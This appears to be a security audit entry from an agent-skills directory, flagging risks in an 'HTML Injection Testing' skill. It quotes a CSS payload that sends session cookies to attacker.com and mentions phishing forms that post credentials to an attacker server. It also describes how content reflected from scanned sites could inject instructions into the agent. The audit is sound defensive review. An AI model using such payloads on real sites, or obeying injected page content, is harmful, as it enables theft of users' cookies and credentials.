The Agent Skills Directory

[DATA_EXFILTRATION]: The skill provides weaponized payloads designed to harvest and exfiltrate sensitive user data to external domains.
It includes instructions for exfiltrating session cookies using CSS background URLs: body { background: url('http://attacker.com/track?cookie='+document.cookie) }.
It provides functional templates for constructing phishing login forms that redirect captured credentials to an attacker-controlled server (http://attacker.com/capture).
It demonstrates techniques for "Hidden credential stealer" attacks using CSS background properties to leak input field values to external URLs.
[COMMAND_EXECUTION]: The skill includes executable code and command-line tools for automating the identification and exploitation of vulnerabilities.
It provides a Python script utilizing the requests library to perform automated fuzzing of target parameters with various injection payloads.
It includes multiple curl command examples intended for testing reflection and verifying successful content injection on remote servers.
[INDIRECT_PROMPT_INJECTION]: The skill's automated scanning workflow creates a significant surface for indirect prompt injection from external, untrusted sources.
Ingestion points: The included Python script ingest and processes the raw body of HTTP responses from external target servers (response.text).
Boundary markers: The instructions lack any boundary markers or specific guidance to ensure the agent ignores potentially malicious or deceptive instructions reflected from a target website during the scanning process.
Capability inventory: The skill has access to network operations (Python requests, curl) and file system access (for reporting), which could be manipulated by reflected content.
Sanitization: There is no evidence of sanitization, escaping, or validation of the data returned from external targets before it is processed by the script or presented to the agent's context.

HTML Injection Testing